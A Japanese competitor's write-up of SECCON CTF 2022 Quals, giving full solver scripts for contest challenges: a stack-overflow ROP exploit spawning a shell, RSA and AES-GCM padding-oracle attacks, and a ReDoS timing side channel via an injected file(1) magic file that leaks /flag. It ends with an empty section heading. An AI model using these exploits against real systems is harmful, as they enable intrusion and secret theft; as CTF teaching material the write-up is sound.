SECCON CTF 2022 Quals Writeup / 参加記

概要

この記事は、2022 年 11 月 12 日から 11 月 13 日にかけて開催された SECCON CTF 2022 Quals の Writeup です。今年の SECCON CTF は 3 年ぶりにオンサイトでの本戦が復活し、本大会はその予選大会としての位置づけとして開催されました。

自分は昨年に引き続き st98 さんを誘い、2 人チーム _(-.- _) )_ として参加しました。結果として、15 問を通して 1955 点を獲得し、全体 22 位 / 国内 3 位となりました。ここでは、そのうちで自分の通した 11 問についての解法を記します*1。

他のメンバーの Writeup:

nanimokangaeteinai.hateblo.jp

這ってでも旗を取りに行く気概

writeup

今回はチーム Discord に事細かに行動の報告をしていたため、新たな試みとして各問題毎に取り組んだ時間を明記してみました。正確な時間ではないと思いますが、チャンネルを作った時間 / 解答スクリプトを貼った時間 / 休止を宣言した時間 / 再開を宣言した時間から判断しています。

[welcome] welcome*2 (700 solves / 14:00)

開始 5 分前程に Discord に flag が投下されていました。


[pwn] koncha (111 solves / 14:00-14:31)

事前に考えていた通り、pwn の warmup から見ることに。バイナリのchecksec及び問題のソースコードは以下のとおりです。

//  Arch:     amd64-64-little
//  RELRO:    Full RELRO
//  Stack:    No canary found
//  NX:       NX enabled
//  PIE:      PIE enabled

#include <stdio.h>
#include <unistd.h>

int main() {
  char name[0x30], country[0x20];

  /* Ask name (accept whitespace) */
  puts("Hello! What is your name?");
  scanf("%[^\n]s", name);
  printf("Nice to meet you, %s!\n", name);

  /* Ask country */
  puts("Which country do you live in?");
  scanf("%s", country);
  printf("Wow, %s is such a nice country!\n", country);

  /* Painful goodbye */
  puts("It was nice meeting you. Goodbye!");
  return 0;
}

__attribute__((constructor))
void setup(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  alarm(180);
}

自明な stack overflow があり IP の制御は奪えますが、アドレスリークが難しそうです。真っ先に考えつくこととしては partial overwrite で __libc_start_main 周辺のアドレスに飛ばせそうといったことでしたが、one gadget 等の有用なものは周辺には存在しません。ここで、普段はあまり目にすることのない "%[^\n]s" という scanf の変換指定子が目に入ります。最初は書式指定子の記述ミスによる脆弱性かとも考えましたが、man ページを見る限り意図通りに記述されていそうです。なので、この書式指定子が何らかの悪さをしている考え、いろいろな入力を試してみることにしました。
しばらくすると、空行を送った際に奇妙な出力が帰ってきていることに気が付きます。これはおそらくメモリ上のデータがクリアされずに出力されたものなので、アドレスリークに繋げられそうです。gdb で printf が呼ばれている部分を確認すると、出力されているものは __exit_funcs_lock という関数のアドレスでした。

   0x563e97e33200 <main+55>    lea    rdi, [rip + 0xe22]
   0x563e97e33207 <main+62>    mov    eax, 0
 ► 0x563e97e3320c <main+67>    call   printf@plt <printf@plt>
        format: 0x563e97e34029 ◂— 'Nice to meet you, %s!\n'
        vararg: 0x7ffcc3685150 —▸ 0x7fabc82662e8 (__exit_funcs_lock) ◂— 0x0

   0x563e97e33211 <main+72>    lea    rdi, [rip + 0xe28]
   0x563e97e33218 <main+79>    call   puts@plt <puts@plt>

これは ld 上のアドレスのようなので、libc がロードされたオフセットが得られていると考えてよいでしょう*3。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x563e97e32000     0x563e97e33000 r--p     1000 0      /mnt/c/Users/keymoon/Desktop/seccon-solved/koncha/bin/chall
……
    0x7fabc8075000     0x7fabc8097000 r--p    22000 0      /usr/lib/x86_64-linux-gnu/libc-2.31.so
……
    0x7fabc8261000     0x7fabc8263000 rw-p     2000 1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x7fabc8263000     0x7fabc8269000 rw-p     6000 0
    0x7fabc8283000     0x7fabc8284000 r--p     1000 0      /usr/lib/x86_64-linux-gnu/ld-2.31.so
……
    0x7fabc82b1000     0x7fabc82b2000 rw-p     1000 2d000  /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x7fabc82b2000     0x7fabc82b3000 rw-p     1000 0

アドレスが得られたので、後は単純な ROP を書くだけでシェルを取ることができます。ソルバは以下の通りとなりました。

from pwn import *

BIN_NAME = 'bin/chall'
REMOTE_ADDR = 'koncha.seccon.games'
REMOTE_LIBC_PATH = 'lib/libc.so.6'
REMOTE_PORT = 9001
LOCAL = False

chall = ELF(BIN_NAME)
context.binary = chall

if LOCAL: stream = process(BIN_NAME)
else: stream = remote(REMOTE_ADDR, REMOTE_PORT)

stream.sendlineafter(b'name?\n', b'')
stream.recvuntil(b'you, ')

func_addr = unpack(stream.recvuntil(b'!', drop=True), "all")
print(f'[+] {hex(func_addr)=}')

libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so' if LOCAL else REMOTE_LIBC_PATH)
libc.address = func_addr - 0x1f12e8
print(f'[+] {hex(libc.address)=}')

rop = ROP(libc)

rop.execve(next(libc.search(b'/bin/sh')), 0, 0)
stream.sendlineafter(b"live in?\n", b"A" * 88 + rop.chain())

stream.interactive()
[crypto] pqpq (112 solves / 14:31-15:28, 16:47-17:28)

前回の SECCON CTF 2021 では pwn の warmup で詰まってしまいましたが、それと比べて好調な滑り出しに安心しながら crypto の warmup を開きました。問題のソースコードは以下のとおりです。 

from Crypto.Util.number import *
from Crypto.Random import *
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
e = 2 * 65537

assert n.bit_length() // 8 - len(flag) > 0
padding = get_random_bytes(n.bit_length() // 8 - len(flag))
m = bytes_to_long(padding + flag)

assert m < n

cm = pow(m, e, n)
c1 = (pow(p, e, n) - pow(q, e, n)) % n
c2 = pow(p - q, e, n)

print(f"e = {e}")
print(f"n = {n}")
# p^e - q^e mod n
print(f"c1 = {c1}")
# (p-q)^e mod n
print(f"c2 = {c2}")
# m^e mod n
print(f"cm = {cm}")

e が偶数なことを考えると、 (p-q)^e \equiv p^e+q^e \pmod {pq} であることが分かります。よって、 \rm{c1}+\rm{c2} 及び \rm{c1}-\rm{c2} が 2p^e 及び 2q^e であるため、 n=pqr との gcd を取ることで p 及び q を求めることができ、自動的に r も求まります。ここでsage に素数ヒントを渡すテクを用いて mod(cm, n).nth_root(e, all=True) とすると求まりそうに思いますが、 e と \phi(n) が互いに素でないからかあまりうまくいかなさそうな雰囲気があります。なので、手元でmod(cm, n).nth_root(e // 2).sqrt(all=true) と分けてあげることによって強引に m を求めました。ソルバは以下の通りとなりました。

from output import e, n, c1, c2, cm
from Crypto.Util.number import *

p = gcd(n, c2 - c1)
q = gcd(n, c2 + c1)
r = n // p // q

assert p * q * r == n
assert is_prime(p)
assert is_prime(q)
assert is_prime(r)

print(f'[+] {p=}')
print(f'[+] {q=}')
print(f'[+] {r=}')
pari(f'addprimes([{p}, {q}, {r}])')

c2 = mod(cm, n).nth_root(e // 2)

for m in c2.sqrt(all=True):
  print(long_to_bytes(int(m)))

この問題では式の解釈を途中まで間違えており、gcd(n, c2 - c1) で求まるものが r だと勘違いしていたせいで 1 時間程度無駄にしてしまいました。最近あまり Crypto を触っていなかったのが祟っていたような気がしています*4。

[misc] find flag (100 solves / 15:28-15:44)

pqpq で苦戦していたので、息抜きとしてこの問題を開きました。問題のソースコードは以下の通りです。

#!/usr/bin/env python3.9
import os

FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()

def check():
    try:
        filename = input("filename: ")
        if open(filename, "rb").read(len(FLAG)) == FLAG:
            return True
    except FileNotFoundError:
        print("[-] missing")
    except IsADirectoryError:
        print("[-] seems wrong")
    except PermissionError:
        print("[-] not mine")
    except OSError:
        print("[-] hurting my eyes")
    except KeyboardInterrupt:
        print("[-] gone")
    return False

if __name__ == '__main__':
    try:
        check = check()
    except:
        print("[-] something went wrong")
        exit(1)
    finally:
        if check:
            print("[+] congrats!")
            print(FLAG.decode())

しばらくソースコードを眺めていると、check = check() と関数に再代入されているところが気になります*5。何らかの理由でこの代入がなされなかった場合は、check は Trueであると評価されるためにフラグが得られることとなります。試しにスクリプトを書き換えて check 関数内でエラーを起こしてみると、代入がなされずに狙った通りの挙動をすることが分かりました。なので、check 関数内でハンドリングがなされないエラーを起こせばよいこととなります。ここで、ファイル終端まで読み込んだときに発生する EOFError というエラーが思い当たります。実際にローカルで Ctrl+D を入力すると、どのエラーハンドリングにもキャッチされずにフラグが得られることが確認できました。EOF に相当する挙動をリモートで引き起こすには、pwntools では stream.shutdown() というメソッドを使えばよいです*6。よって、ソルバは以下の通りとなりました。

from pwn import *

REMOTE_ADDR = 'find-flag.seccon.games'
REMOTE_PORT = 10042
stream = remote(REMOTE_ADDR, REMOTE_PORT)

stream.shutdown()
print(stream.recvall().decode())
[rev] babycmp (176 solves / 15:44-16:20)

x64 の ELF ファイルが渡されました。内容はよくあるフラグチェッカーです。

ざっと ghidra でデコンパイル結果を眺めたところ、何らかのバイト列と xor された後にチェック処理が行われているようです。

strlen = ::strlen((char *)__s);
if (strlen != 0) {
  *(byte *)__s = *(byte *)__s ^ 0x57;
  i = 1;
  if (strlen != 1) {
    do {
      sVar2 = i + 1;
      param_2[1][i] =
           param_2[1][i] ^
           *(byte *)((long)&local_68 +
                    i + ((SUB168(ZEXT816(i) * ZEXT816(0x2e8ba2e8ba2e8ba3) >> 0x40,0) &
                         0xfffffffffffffffc) * 2 + (i / 0x16) * 3) * -2);
      i = sVar2;
    } while (strlen != sVar2);
  }
  __s = (ulong *)param_2[1];
}
if ((((__s[1] ^ CONCAT44(local_48[3],local_48[2]) | *__s ^ CONCAT44(local_48[1],local_48[0])) ==
      0) && ((__s[3] ^ CONCAT44(local_48[7],local_48[6]) |
             __s[2] ^ CONCAT44(local_48[5],local_48[4])) == 0)) &&
   (*(uint *)(__s + 4) == local_48[8])) {
  uVar3 = 0;
  puts("Correct!");
}

ですので、@@@@……@@@@ といった入力を与えて動的解析し、処理後のバイト列から xor されたバイト列を復号することにします。チェックに用いられている配列 local_48 は代入処理が上にあったため、値を容易に得ることができました。これら 2 つを組み合わせると、フラグを得ることができました。

local_48 = [0] * 10

local_48[0] = 0x202f2004
local_48[1] = 0x591e2320
local_48[2] = 0x357f1a44
local_48[3] = 0x2b2d3675
local_48[4] = 0x35a1711
local_48[5] = 0x736506d
local_48[6] = 0x1093c15
local_48[7] = 0x362b4704
local_48[8] = 0x380a41

l = [eval(w) for w in """
0x232c2517      0x60252d2f      0x13602f34      0x0f030305
0x7072600e      0x25177272      0x2d2f232c      0x2f346025
0x03051360      0x600e0f03      0x72727072      0x232c2517
""".split()]


b''.join([(a^b^int.from_bytes(b'@@@@', 'little')).to_bytes(4, "little") for a, b in zip(local_48, l)])
[crypto] this_is_not_lsb (34 solves / 18:15-19:02)

pqpq が解けた後に insufficient という別の Crypto 問題に取り組みましたが、あまり進捗が出なかったために 1 時間ほどで中断し、この問題に取り組むことにしました。問題のソースコードは以下の通りです。

from Crypto.Util.number import *
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
e = 65537
n = p * q
phi = (p - 1) * (q - 1)

d = pow(e, -1, phi)

print(f"n = {n}")
print(f"e = {e}")
print(f"flag_length = {flag.bit_length()}")

# Oops! encrypt without padding!
c = pow(flag, e, n)
print(f"c = {c}")

# padding format: 0b0011111111........
def check_padding(c):
    padding_pos = n.bit_length() - 2
    m = pow(c, d, n)
    return (m >> (padding_pos - 8)) == 0xFF

while True:
    c = int(input("c = "))
    print(check_padding(c))

m(flag) の暗号文 c が与えられた上で任意の暗号文を復号化し、独自の padding format に沿っているかどうかを検証してくれます。RSA 暗号は乗法準同型性を持っているため、任意の整数 p について pm が valid かどうかを検証してくれることになります。
この独自の padding format の検証を式で表すと、検証する平文を x、 n の bit 数を B としたときに \lfloor\frac{x}{2^{B-10}}\rfloor=255 となります。これは、変形すると 255\cdot 2^{B-10} \le x\lt 256\cdot 2^{B-10} となり、 x が区間に含まれているかを検証していることになります。よって、 pm が valid になるような p\lt n を満たす p の集合は区間をなすことになります。ここで、区間の上端が分かったとしましょう。これを p_u としたとき、 (p_u-1)m\lt 256\cdot 2^{B-10}\le p_um が成立します。よって、 m=\lfloor\frac{256\cdot 2^{B-10}}{p_u}\rfloor とすることで m が求められます*7。

また、この区間は

  1. 区間に含まれるような p の候補を探す
  2. 区間の上端と下端をそれぞれ二分探索する

というプロセスで求めることができます。1. にて求める区間に含まれるような p の候補は、flag の下限及び上限、区間の幅の最大値が分かっていることからある程度のブルートフォースにより求めることができます。よって、これらを組み合わせることで m を求めることができると分かりました。

ソルバは以下の通りとなりました。

from pwn import *
from progressbar import progressbar

BIN_NAME = ["python", './problem.py']
REMOTE_ADDR = 'this-is-not-lsb.seccon.games'
REMOTE_PORT = 8080
LOCAL = False

if LOCAL: stream = process(BIN_NAME)
else: stream = remote(REMOTE_ADDR, REMOTE_PORT)

stream.recvuntil(b'n = ')
n = int(stream.recvline(keepends=False))
stream.recvuntil(b'e = ')
e = int(stream.recvline(keepends=False))
stream.recvuntil(b'length = ')
flag_length = int(stream.recvline(keepends=False))
stream.recvuntil(b'c = ')
c = int(stream.recvline(keepends=False))

def query(check):
  stream.sendlineafter(b'c = ', str(check))
  return b'True' in stream.recvline()

# 0b00_1111_1111_0000....0000 <= m*mul < 0b01_0000_0000_0000...0000 
def oracle(mul):
  res = query((c * pow(mul, e, n)) % n)
  return res

lower_bound = 1 << (n.bit_length() - flag_length - 2)
upper_bound = 1 << (n.bit_length() - flag_length - 1)

cur = lower_bound
step = (upper_bound - lower_bound) // 128
for _ in progressbar(range(1024)):
  if oracle(cur): break
  cur += step

print(f'\n[+] found initial')

pb = progressbar(range(0, n.bit_length() - flag_length))
while 1 <= step:
  nxt = cur + step
  if oracle(nxt):
    cur = nxt
  else:
    next(pb)
    step //= 2

print(f'[+] {cur=}')
flag = (1 << (n.bit_length() - 2)) // cur
print(f'[+] {flag=}')
print(f'[+] {flag.to_bytes(flag_length // 8 + 1, "big")=}')
[misc] noiseccon (22 solves / 19:06-22:24)

Perlin Noise と呼ばれる二次元ノイズに関する問題。Perlin Noise を flag 及び入力から生成するオラクルが与えられて、flag を特定することが目標です。オラクルの詳細は以下の画像を参照して下さい:

この問題をパッと見たとき、Minecraft コミュニティでの一枚のスクリーンショットから seed 値及び座標を特定する試みが頭を過りました。実際にその試みの一つを解説した動画でも Perlin Noise が言及されていたことを記憶していたので、それから着想を得たのかと思っていました*8。

横道に逸れましたね。問題について考察していきます。まず、入力の a 及び b に 2 のべき乗数を入れると、ビット列上の連続する 36 bit の情報だけを画像の座標に載せられることが分かります。例えば、flag の上位 6 バイトは SECCON であることが確定しています。なので、フラグが 21 文字であることから a 及び b を 2¹¹⁸*9 にすることで切り抜かれる座標が div(long_to_bytes("SECCON"), 1) となり、座標を固定することができます。

次に、seed のエントロピーが低いことに着目します。seed が 65536 個程度であれば十分総当りが可能なので、情報を取り出すウィンドウを 1 bit ずつずらすことで、フラグの先頭から 1 bit ずつ特定していくことができることが分かります。

このままでは少々時間がかかりすぎるため、実際に行った手順は以下の通りとなりました。

  1. リモートから未知の情報を 1 bit 分だけ含んだ出力を 64 個取得する
  2. ローカルで未知の bit が 1 と 0 の二通りの画像を取得した画像と一致するまで seed を変更して生成する
  3. 既知の情報を 1 bit 増やし、1 に戻る

この方法では、1 bit を求めるのに手元のノート PC で平均で 1 分程度かかります。そのため、フラグを得るまでに 2 時間程度必要でした。ソースコードは以下のとおりです。

imggen.js · GitHub

[crypto] BBB (50 solves / 22:09-23:56)

noiseccon のソルバを回している待ち時間に、solve が多くなり始めていた crypto を解くことにします。この問題は nc でリモートに繋いで解く形の問題で、問題のソースコードは以下のとおりです。

from Crypto.Util.number import bytes_to_long, getPrime
from random import randint
from math import gcd
from secret import FLAG
from os import urandom

assert len(FLAG) < 100

def generate_key(rng, seed):
    e = rng(seed)
    while True:
        for _ in range(randint(10,100)):
            e = rng(e)
        p = getPrime(1024)
        q = getPrime(1024)
        phi = (p-1)*(q-1)
        if gcd(e, phi) == 1:
            break

    n = p*q
    return (n, e)

p = getPrime(1024)
a = randint(0, p-1)
print("[+] The parameters of RNG:")
print(f"{a=}")
print(f"{p=}")
b = int(input("[+] Inject [b]ackdoor!!: "))
rng = lambda x: (x**2 + a*x + b) % p

keys = []
seeds = []
for i in range(5):
    seed = int(input("[+] Please input seed: "))
    seed %= p
    if seed in seeds:
        print("[!] Same seeds are not allowed!!")
        exit()
    seeds.append(seed)
    n, e = generate_key(rng, seed)
    if e <= 10:
        print("[!] `e` is so small!!")
        exit()

    keys.append((n,e))

flag = bytes_to_long(FLAG + urandom(16))
for n,e in keys:
    c = pow(flag, e, n)
    print("[+] Public Key:")
    print(f"{n=}")
    print(f"{e=}")
    print("[+] Cipher Text:", c)

RSA 暗号ですが、 e が x\leftarrow (x^2+ax+b) \bmod p という疑似乱数によって生成されています。疑似乱数のパラメータは a, b, p で、 a と p が与えられた後に b を自由に決めることができます。

乱数をいじることができるので、同じ e を複数の seed から出すことができれば hastad broadcast attack が可能そうです。ただ、 e が 10 以下の場合は怒られてしまうので、 e は最低でも 11 にしないといけなさそうです。同じ平文を暗号化できるのは 5 回だけという条件を踏まえ、これが足りているかどうかを計算します。 \rm{flag}^{11} の bit 数が (100+16)\cdot 8\cdot 11=10208 bit、 n^5 の bit 数が 2048\cdot 5=10240 bit なので、ギリギリ足りていそうです*10。

次に、 e=11 を複数の seed から得ることを考えます。ソースコードからも分かる通り、乱数生成機が呼ばれる回数はランダムです。そのため、 e=11 が x\leftarrow x^2+ax+b \pmod p の不動点になっている必要があります。これは、式変形をすると b=\frac{(-(22+a-1)^2) + (a-1)^2}{4} となることが分かります。

次に、乱数の前の状態を復元することを考えます。これは、現在の状態を c としたとき、 x^2+ax+b \equiv c \pmod p という式を満たす x を求めることに他なりません。これは、二次方程式の解の公式を用いて求めることができます。この場合、 p の値によって \bmod p 上での平方根の計算量が変化してきます。例えば、 p \bmod 4 = 3 では x^{\frac{1}{2}}\equiv x^{\frac{p+1}{4}} \pmod p と簡単になります。今回は再接続で p を更新できるため、予め p を p \bmod 4 = 3 を満たすようにしておくことにします。

これにより、十分高速にパラメータの生成結果が e=11 となるを b 及び複数の seed を求めることができます。ソルバは以下のようになりました。

from pwn import *

BIN_NAME = ["python", './chall.py']
REMOTE_ADDR = 'BBB.seccon.games'
REMOTE_PORT = 8080
LOCAL = False

stream: tube = None
a: int
p: int
def recvint(name):
  stream.recvuntil(name.encode())
  return int(stream.recvline(keepends=False))

def reconn():
  global stream, a, p
  if stream is not None: stream.close()
  if LOCAL: stream = process(BIN_NAME)
  else: stream = remote(REMOTE_ADDR, REMOTE_PORT)
  a = recvint("a=")
  print(f'[+] {a=}')
  p = recvint("p=")
  print(f'[+] {p=}')


while True:
  reconn()
  print(f'[+] {p%4=}')
  if p % 4 != 3: continue

  # find b s.t. f(x):=x^2+(a-1)x+b=0 has fixed point at 11
  # 
  #    (-(a-1)±sqrt((a-1)^2-4b))/2 ==    11
  #     -(a-1)±sqrt((a-1)^2-4b)    ==    22
  #           ±sqrt((a-1)^2-4b)    ==    22+a-1
  #                 (a-1)^2-4b     ==  ±(22+a-1)^2
  #                        -4b     ==  ±(22+a-1)^2-(a-1)^2
  #                          b     == (±(22+a-1)^2+(a-1)^2)/4

  a = mod(a, p)
  b = ((-(22+a-1)^2) + (a-1)^2) / 4
  print(f'[+] {b=}')

  stream.sendlineafter(b'[b]ackdoor!!: ', str(b).encode())
  fp = mod(11, p)
  print(f'[+] {fp=}')
  assert fp*fp + a*fp + b == fp
  
  def get_sol(a, b, c):
    d = b^2 - 4*a*c
    
    assert p % 4 == 3

    sqrts = [d^((p+1)//4), p - d^((p+1)//4)]
    assert sqrts[0]^2 == sqrts[1]^2 

    if sqrts[0]^2 != d:
      r = sqrts[0]
      print(f'[!] annomaly found: {d=} {r=} {r**2=}')
      return []

    return [(-b + res) / 2 for res in sqrts]
  
  #  x^2+ax+b   = p
  #  x^2+ax+b-p = 0
  seeds = [fp]
  stack = [fp]
  while 1 <= len(stack) and len(seeds) < 5:
    cur = stack.pop()
    for prev in get_sol(1, a, b-cur):
      # print(f'[+] rng({prev}) -> {cur}')
      if prev in seeds: continue
      assert prev*prev + a*prev + b == cur, f'{prev*prev+a*prev+b=}, {cur=}'
      seeds.append(prev)
      stack.append(prev)
  
  seeds = seeds[:5]
  if len(seeds) < 5: continue

  print(f'[+] {seeds=}')
  for seed in seeds:
    stream.sendline(str(seed).encode())
  
  ns = []
  cs = []
  for i in range(5):
    n = recvint("n=")
    e = recvint("e=")
    c = recvint("Cipher Text: ")
    assert e == 11
    ns.append(n)
    cs.append(c)
  print(ns)
  print(cs)
  print(int(CRT(cs, ns).nth_root(11)).to_bytes(120, "big"))
  break
[misc] txtchecker (23 solves / 00:06-00:22, 03:34-06:09)

BBB 及び noiseccon が解けたところで、ちょうど日を跨ぐことに。今回の CTF では途中で睡眠を挟むことを決めていたため、問題を眺めながら頭をクールダウンさせ、眠気を誘う戦法で行くことにします*11。

問題スクリプトは以下の通りです。

#!/bin/bash

read -p "Input a file path: " filepath
file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null

# TODO: print the result the above command.
#   $? == 0 -> It's a text file.
#   $? != 0 -> It's not a text file.
exit 0

なお、フラグは /flag に書き込まれており、コネクションはありがちな nc ではなく ssh の ForceCommand でもらえています。

パッと気になることとして、このコネクションの方法がありました。しかし、現時点ではこれ自体は何もヒントにならないと考え、頭の片隅に置いておくことに。改めて問題スクリプトを読むと、以下のような挙動だと分かります。

  • file コマンドに任意のオプションがつけ放題
  • stderr は /dev/null に食われており、かつ stdout は grep -q に食われている

一見して、全ての出力が封じられているように思えます。想定解では file コマンドで何かをさせたいのだと予測が付きましたが、出力の受取方法が分からないことには考察のしようがないと考え、grep についての man ページを読みます。しかし、grep -q は exit state を変化させる以外に面白いことは行わなさそうです。

次に、本丸であるところの file コマンドの man ページを開くことにします。すると、すぐに [ -m magicfiles ] という部分が目に入ります。これは magicfile と呼ばれるファイルのフォーマット形式の定義ファイルを読み込ませることができるオプションのようです。これを用いれば、stdin を /proc/self/fd/0 といったファイル経由で読み込ませて任意のフォーマット定義を追加することができそうです。

一見かなりよさそうに思えますが、今回はマッチしたか否かといった情報を得る方法が現状ありません。そのため、これを見つける必要がありそうです。少し考えた結果、悪意のある正規表現(ReDoS)を用いてマッチする際としない際のマッチ時間に有意な差をつける手法が思い当たります。magicfile の man ページを参照すると、magicfile では正規表現が使用可能なようです。ご丁寧にも

Regular expressions can take exponential time to process, and their performance is hard to predict, so their use is discouraged.

と書いてあり、ReDoS ができることはほぼ確実なようです。また、環境の Docker ファイルでは 10 秒以上動いている問題のプロセスを kill するスクリプトが回っていたため、メタ的な読みでも ReDoS が想定解であることに一定の確信が持てました。

ここまで考えたところでいい感じに眠くなってきたため、一旦就寝。3 時間後に計画通り起床し、実験を始めました。

magicfile では「規則 1 を満たしたならば規則 2 のチェックを行う」といったことが可能だったため、「a byte 目が b より小さければ ReDoS を起こす」という規則を以下の通り作成することができました*12。

a byte <b
>0 regex \^(.|(.|(.|(.|(.|(.|(.|(.|(.|(.|(.|(.|(.|(.|.+)+)+)+)+)+)+)+)+)+)+)+)+)+)+ hogefuga

あとは、これを用いてフラグをリークすればよいだけです。リモートで ReDoS が刺さったかどうかは、 pwntools の timeout 引数や前述の kill するスクリプトによって kill された際に表示される Killed のメッセージで判断すればよいです。自分は今回は後者を利用しました。最終的なソルバは以下の通りとなりました。

from pwn import *
from progressbar import progressbar

context.log_level = 'error'

def test_magic(magic):
  stream = process([
    "sshpass", "-p", "ctf",
    "ssh", "-oStrictHostKeyChecking=no", "-oCheckHostIP=no", "ctf@txtchecker.seccon.games", "-p", "2022"
  ])
  payload = f"""
-m /proc/self/fd/0 /flag.txt
{magic}
>0 regex \^(.|(.|(.|(.|(.|(.|(.|(.|(.|(.|(.|(.|(.|(.|.+)+)+)+)+)+)+)+)+)+)+)+)+)+)+ hoge
""".strip()
  # print(f"[+] payload:\n{payload}")
  stream.sendline(payload.encode())
  stream.shutdown()
  try:
    recved = stream.recvuntil((b'Killed', b'host'), timeout=20)
  except EOFError:
    print(' | result: False (EOFError)')
    return False
  if b'Connection closed by remote host' in recved:
    print(f' | retrying...')
    sleep(1)
    return test_magic(magic)
  res = b'Killed' in recved
  print(f' | result: {res}. {recved=}')
  return res

def test_value(pos, less_than):
  print(f'[+] flag[{len(cur)}]<{mid}?')
  return test_magic(f'{pos} byte <{less_than}')

def test_prefix(prefix):
  print(f'[+] flag.startswith("{prefix}")?')
  return test_magic(f'0 string {prefix}')

cur = "SECCON"
assert test_prefix(cur)

while True:
  valid = 128
  invalid = 0
  for i in progressbar(range(7)):
    print(f'\n[+] {valid=}, {invalid=}')
    mid = (valid + invalid) // 2
    if test_value(len(cur), mid):
      valid = mid
    else:
      invalid = mid
  print(f'\n[+] {valid=}, {invalid=}')
  assert valid - invalid == 1
  if invalid == 0: break
  cur += chr(invalid)
  print(f'[+] {cur=}')
  assert test_prefix(cur)
[crypto] witches_symmetric_exam (22 solves / 08:54-11:38)

AES の暗号利用モードに関する問題です。AES を組み合わせた独自の暗号化アルゴリズムが与えられ、それを用いて暗号化した secret_spell が渡されます。与えた暗号文を復号化した際のステータスが得られるオラクルを用いて、secret_spell と "give me key" という文の暗号文を生成することが目標です。

独自の暗号化アルゴリズムは OFB モードと GCM モードを組み合わせたもので、詳細は以下の通りとなります。

まず、decrypt 関数の "ofb error" というエラーに注目します。これは unpad が失敗した際に発生するので、これを用いて padding oracle attack が可能です。

def decrypt(data):
    ofb_iv = data[:16]
    ofb_ciphertext = data[16:]
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)

    try:
        m = ofb_cipher.decrypt(ofb_ciphertext)
        temp = unpad(m, 16)
    except:
        return b"ofb error"
……

ここで、OFB モードの構造に着目します。OFB モードでは「IV を n 回暗号化したものを n 番目のブロックと xor する」という処理で暗号化をしています。xor の対称性より、これは復号化の際も同様の処理でよいことが分かります。よって、長さ 1 ブロックの暗号文に padding oracle attack を適用すると、IV を暗号化した値が求まることになります。よって、この padding oracle attack は平文の暗号化オラクルとして機能することになります。

def encrypt(plain):
  assert len(plain) == 16
  known_suff = b''
  while len(known_suff) < 16:
    cts = []
    for i in range(256):
      known_suff_cand = bytes([i]) + known_suff
      padded = xor(known_suff_cand, bytes([len(known_suff_cand)])).rjust(16, b'\x00')
      cts.append(plain + padded)
    res = test_decs(cts)
    assert Result.GCMError in res
    known_suff = bytes([res.index(Result.GCMError)]) + known_suff
  return known_suff

ここで、test_decs は暗号文のリストを受取り、それを復号化した際のステータスを返す関数です*13。

encrypt オラクルが手に入ったので、OFB モードの際に平文と xor されているバイト列を求めることができます。

xor_in_ofb = encrypt(ofb_iv)

def extend_xor_in_ofb(length):
  global xor_in_ofb
  while len(xor_in_ofb) < length:
    xor_in_ofb += encrypt(xor_in_ofb[-16:])

extend_xor_in_ofb(len(ofb_ct))

これにより、OFB モードでの暗号化は復号でき、GCM モードでの tag、 nonce 及び暗号文を手に入れることができます。

before_ofb = xor(ofb_ct, xor_in_ofb)
unpadded = unpad(before_ofb, 16)

gcm_tag = unpadded[:16]
gcm_nonce = unpadded[16:32]
gcm_ct = unpadded[32:]

GCM モードでは内部で CTR モードを利用していますが、この初期値は gcm_nonce 自体ではなく、それから計算される値を使用しています。これも、encrypt オラクルを用いて計算することができます。

from Crypto.Cipher._mode_gcm import _GHASH, _ghash_portable
hash_subkey = encrypt(b'\x00' * 16)
def compute_ctr_nonce(gcm_nonce):
  fill = (16 - (len(gcm_nonce) % 16)) % 16 + 8
  ghash_in = gcm_nonce + b'\x00' * fill + long_to_bytes(8 * len(gcm_nonce), 8)
  j0 = _GHASH(hash_subkey, _ghash_portable).update(ghash_in).digest()
  return j0

initial_nonce_ctr = compute_ctr_nonce(gcm_nonce)
nonce_ctr = initial_nonce_ctr

CTR モードの初期値が計算できたので、GCM モードで xor されているバイト列を求めることができます。

xor_in_gcm = b''
def extend_xor_in_gcm(length):
  global xor_in_gcm, nonce_ctr
  while len(xor_in_gcm) < length:
    nonce_ctr = (int.from_bytes(nonce_ctr, "big") + 1).to_bytes(16, "big")
    xor_in_gcm += encrypt(nonce_ctr)

extend_xor_in_gcm(len(gcm_ct))

これで、暗号化された secret_spell の復号は完了です。

spell = xor(gcm_ct, xor_in_gcm[:len(gcm_ct)])

次に、"give me key" という文字列を暗号化していきます。簡略化のため、使用する nonce は先程の暗号文のものと同一のものにすることにします。こうしておくと、GCM モードにおける暗号文は先程求めたバイト列との xor で求めることができます。

plain = b'give me key'
extend_xor_in_gcm(len(plain))
gcm_ct = xor(plain, xor_in_gcm[:len(plain)])

次に、GCM モードでの暗号文の完全性チェックに用いられる tag を計算します。これには、先程も少しだけ出てきていた _GHASH という PyCryptodome の内部実装で用いられているクラスを使用しました。実際のところ、計算がどのように行われているのかの詳細までは理解していません。

hasher = _GHASH(hash_subkey, _ghash_portable)
hasher.update(gcm_ct + b'\x00' * pad_len)
hasher.update(long_to_bytes(0, 8) + long_to_bytes(8 * len(plain), 8))
gcm_tag = xor(hasher.digest(), encrypt(initial_nonce_ctr))

これにより、OFB で暗号化する平文が完成しました。OFB での暗号化は、nonce を使いまわしたことで先程復号化に使ったバイト列を使いまわすことができます。

before_ofb = pad(gcm_tag + gcm_nonce + gcm_ct, 16)
extend_xor_in_ofb(len(before_ofb))
res = ofb_iv + xor(before_ofb, xor_in_ofb[:len(before_ofb)])

これにより、"give me key" として正常に復号できる暗号文と、secret_spell が揃いました。後はこれらを送信するだけです。

assert test_dec(res) == Result.SPELL_PROMPT
stream.sendline(spell)
stream.interactive()

これらをまとめた、最終的なスクリプトは以下の通りとなりました。
SECCON 2022 Qual - witches_symmetric_exam · GitHub

[rev] eguite (86 solves / 11:41-12:55)

